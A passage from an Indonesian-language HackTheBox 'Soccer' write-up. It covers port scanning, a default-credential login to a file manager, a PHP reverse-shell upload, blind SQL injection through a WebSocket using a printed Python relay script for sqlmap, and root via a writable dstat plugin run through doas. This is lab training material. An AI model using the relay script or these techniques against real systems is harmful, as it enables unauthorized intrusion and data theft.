skip to content
Yupy Syntax

HackTheBox - Soccer

/ 6 min read

Last Updated:

HackTheBox Soccer Write up

Information Gathering

Scanning dengan Nmap, disini kita mendapatkan Port 22 adalah SSH , port 80 HTTP dan 9091 mungkin xmltec-xmlmail (tidak aman, nmap memberi tanda tanya). Untuk saat ini, karena kami tidak memiliki kredensial untuk mengautentikasi terhadap SSH , kami akan berfokus pada mengaudit port 80.

Terminal window
┌──(root㉿yupy)-[~/yp/hackthebox/Soccer]
└─# nmap -sC -sV soccer.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-24 18:34 PST
Nmap scan report for soccer.htb (10.10.11.194)
Host is up (0.059s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Soccer - Index
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Wed, 25 Jan 2023 02:34:37 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Wed, 25 Jan 2023 02:34:37 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=1/24%Time=63D09536%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Wed,\x2025\x20Jan\x202023\x2002:34:37\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Wed,\x2025\x20Jan\x202023\x2002:34:37\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Wed,\
SF:x2025\x20Jan\x202023\x2002:34:37\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.76 seconds

Berkat skrip pengintaian yang diluncurkan oleh nmap , kita dapat melihat bahwa layanan web yang berjalan pada port 80 mengalihkan kita ke domain soccer.htb . Agar mesin kami menyelesaikan domain ini, kami harus menambahkannya ke akhir /etc/hosts kami : alt text

Karena kami tidak menemukan sesuatu yang menarik di http://soccer.htb/, kami akan mencari direktori yang berada di bawah domain mesin korban. Dengan Tools gobuster menggunakan command seperti berikut: alt text

Dari Fuzzing kita mendapatkan directory /tiny bila kita buka directory tersebut akan mendapatkan login panel seperti berikut: alt text

Saat memasuki web, yang kita lihat hanyalah panel login . Karena kami tidak memiliki kredensial, kami dapat menggunakan Google untuk menemukan kredensial default untuk aplikasi ini. Kami menemukan yang berikut: admin:admin@123 . Jika kita menguji mereka, kita akan melihat bahwa mereka benar. alt text

Karena aplikasi ini memungkinkan kita untuk mengunggah file dan web bekerja dengan PHP , kita dapat mencoba mengunggah webshell di PHP dan melalui parameter itu menjalankan perintah untuk kita. alt text

Exploitation

Pada direktori utama kami tidak memiliki izin untuk mengunggah file, tetapi di direktori tiny/uploads kami bisa. Webshell menggunakan source code reverse shell secara langsung sebagai berikut: alt text

Kami meupload file reverse tersebut ke website alt text alt text

Kami memanggil reperse.php kami dan menerima shell terbalik sebagai www-data alt text

Karena kita tahu bahwa nginx digunakan untuk menjalankan situs web, jalur yang menarik untuk melihat pengaturan domain adalah /etc/nginx/sites-avaliable. Setiap file konfigurasi di direktori ini mewakili situs web yang dikonfigurasi di server Nginx. Di dalam direktori ini kami menemukan file bernama soc_player.htb: alt text

Dan disini menambahkan subdomain tersebut bila kita membuka subdomain tersebut mendapatkan tampilan sebagai berikut: alt text

Disini kita mencoba mendaftar akun alt text

Setelah mendaftar kita akan mendapatkan tampilan berikut: alt text

Saat masuk, kami menemukan panel semacam ini. Dia meminta kami untuk nomor. Kami dapat intercept permintaan dengan Burpsuite untuk melihat apa yang sedang diproses di baliknya.

Yang kami intercept adalah sebagai berikut: alt text

WebSockets adalah protokol jaringan yang memungkinkan komunikasi dua arah secara real-time antara klien dan server melalui koneksi TCP. Dalam hal ini, koneksi dibuat terhadap http://soc-player.soccer.htb:9091/ . Ingatlah bahwa pada fase pengenalan kami melihat port ini terbuka, tetapi kami tidak mengetahui 100% layanan yang sedang berjalan.

Kami dapat mengirim permintaan ke Repeater dan mengaburkan input untuk mencari perilaku aneh.

Post Exploitation

Setelah menguji dengan banyak muatan, kami melihat bahwa kolom input rentan terhadap SQLI Blind.

SQL Injection Blind (SQLI Blind) adalah jenis serangan injeksi SQL yang digunakan untuk mengeksploitasi kerentanan dalam aplikasi web. Disebut buta karena penyerang tidak menerima respon langsung dari server akibat serangannya.

Dalam hal ini, jika kita menggunakan payload: alt text

Kita mencoba membaca ifconfig pada server: alt text

Mencari kerentanan kita dapat menemukan artikel berikut rayhan0x01 yang menunjukkan kepada kita cara membuat injeksi sql ke soket web dengan mengarahkan permintaan http ke ws dengan skrip

Kami akan menggunakan skrip tetapi perlu mengubah 2 baris berikut:

ws_server = "ws://localhost:8156/ws"
ws_server = "ws://soccer.htb:9091/"
data = '{"employeeID":"%s"}' % message
data = '{"id":"%s"}' % message

Kita menggunakan source code berikut ini untuk mexploit server tersebut:

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soccer.htb:9091/"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass

Sekarang kami menjalankan eksploit untuk mulai mengarahkan ulang permintaan alt text

Sekarang kami menjalankan eksploit untuk mulai mengarahkan ulang permintaan alt text

Dengan sqlmap kami akan menunjuk ke localhost kami, kami mulai menghitung database alt text alt text

Disini kami mendapatkan hasil dump yang didapat dari hasil scan sqlmap alt text alt text

Privileges Escalation

Disini kami menggunakan kredensial yang telah didapat dari hasil dump dari SQLmap dan mencobanya untuk login ke SSH, dan hasilnya kita berhasil login menggunakan kredensial yang telah di dapat. alt text

Mencari binari suid, kami menemukan file doas alt text

Di path /usr/local selain /bin dengan doas suid kita bisa melihat /etc dengan doas.conf alt text

Ini memberi tahu kita bahwa kita dapat menjalankan dstat sebagai root tanpa memberikan kata sandi. alt text

Kami memiliki kemampuan menulis di jalur share/dstat, tempat plugin disimpan alt text

Kami cukup membuat file python yang mengembalikan suid bash dan menjalankannya sebagai plugin alt text alt text

Submit Flag in HackTheBox

alt text